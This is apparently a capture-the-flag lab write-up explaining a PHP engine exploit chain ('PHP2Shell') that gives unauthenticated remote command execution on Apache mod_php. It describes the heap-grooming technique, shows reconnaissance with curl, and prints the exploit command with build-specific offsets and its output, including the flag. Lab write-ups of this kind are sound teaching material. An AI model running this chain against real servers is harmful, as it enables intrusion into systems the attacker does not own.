RSEC Lab write-up — PHP2Shell
The application presents itself as a normal manufacturing company website (Meridian Industries). The real vulnerability, however, lives deeper — inside PHP itself.
Vulnerability Background — How PHP2Shell Works:
PHP2Shell is the combination of two critical bugs in the PHP engine:
- CVE-2026–109618 — Out-of-memory (OOM) corruption during request startup
- CVE-2026–109619 — Stale global state reuse after a failed request
When PHP receives a carefully crafted multipart request, it starts parsing the body before the page script runs. Under a low memory_limit (8 MB in this lab), the allocator can be exhausted while session and multipart state is only partially initialized.
PHP then uses longjmp() to escape the OOM condition. On Apache mod_php with the prefork MPM, the worker process does not die. Request shutdown still runs and consumes the corrupted / stale state. The next request on the same worker can then interact with dangling pointers.
By grooming the heap, an attacker can:
- Leak the Zend Memory Manager chunk base (heap ASLR bypass)
- Leak a pointer to zval_ptr_dtor (libphp base)
- Forge a HashTable whose pDestructor points to zif_system
- Trigger the destructor during session cleanup → arbitrary command execution as www-data
The entire chain happens before any application code (WordPress, custom PHP, etc.) is executed
Reconnaissance:
curl -i http://lab.rsec.uk:20145/Response headers revealed:
- Server: Apache/2.4.69 (Debian)
- X-Powered-By: PHP/8.4.26
PHP 8.4.26 is vulnerable. The fixed version is 8.4.27. The instance is running Apache prefork with a single worker and a restrictive memory limit — ideal conditions for the mod_php chain.
Get Naba’s stories in your inbox
Join Medium for free to get updates from this writer.
The site itself (Meridian Industries) and the /admin portal are pure distractions. The exploit targets /.
Exploitation:
Using the calibrated profile for the official php:8.4.26-apache (bookworm amd64) build:
Command executed:
python3 tools/php2shell_rce.py \
-u http://lab.rsec.uk:20145/ \
--allow-remote \
--zif-offset 0x465370 \
--dtor-offset 0x65eb60 \
-c "cp ~/flag /u #" \
--fetch /uResult:
[+] chunk base = 0x7a417d800000
[+] libphp base = 0x7a417f4a2000
[+] W3 attempt 1
PROOF: RSEC{e38af62064e14756a0f405f442c6f1fc}The 14-byte command limit forced the use of cp ~/flag /u #. The worker’s HOME is /var/www, so ~/flag resolves to a readable location for the web user.
Key Takeaways:
- The visible application (CMS, custom site, admin panel) is irrelevant. The bug lives in PHP’s request lifecycle.
- A single unauthenticated multipart request is enough for full RCE on a vulnerable mod_php installation.
- Correct build-specific offsets and heap grooming are required to defeat ASLR.
- The reverse proxy truncated large Set-Cookie leaks, so the leak size had to be carefully limited.
References:
- CVE-2026–109618 — RCE via OOM corruption
- CVE-2026–109619 — RCE via stale global state
- PHP Security Advisory GHSA-w8hw-w9fx-j79w (CVE-2026–109618)
- PHP Security Advisory GHSA-6wmf-4rv5-p3rp (CVE-2026–109619)
- Sansec — PHP2Shell Research
- oss-security announcement (CVE-2026–109618)
- oss-security announcement (CVE-2026–109619)






![IcedID Lab [CyberDefenders Write-up]](https://miro.medium.com/v2/resize:fit:1358/format:webp/1*3Q9R8gJ0kAe77tm2xvB2Cw.jpeg)
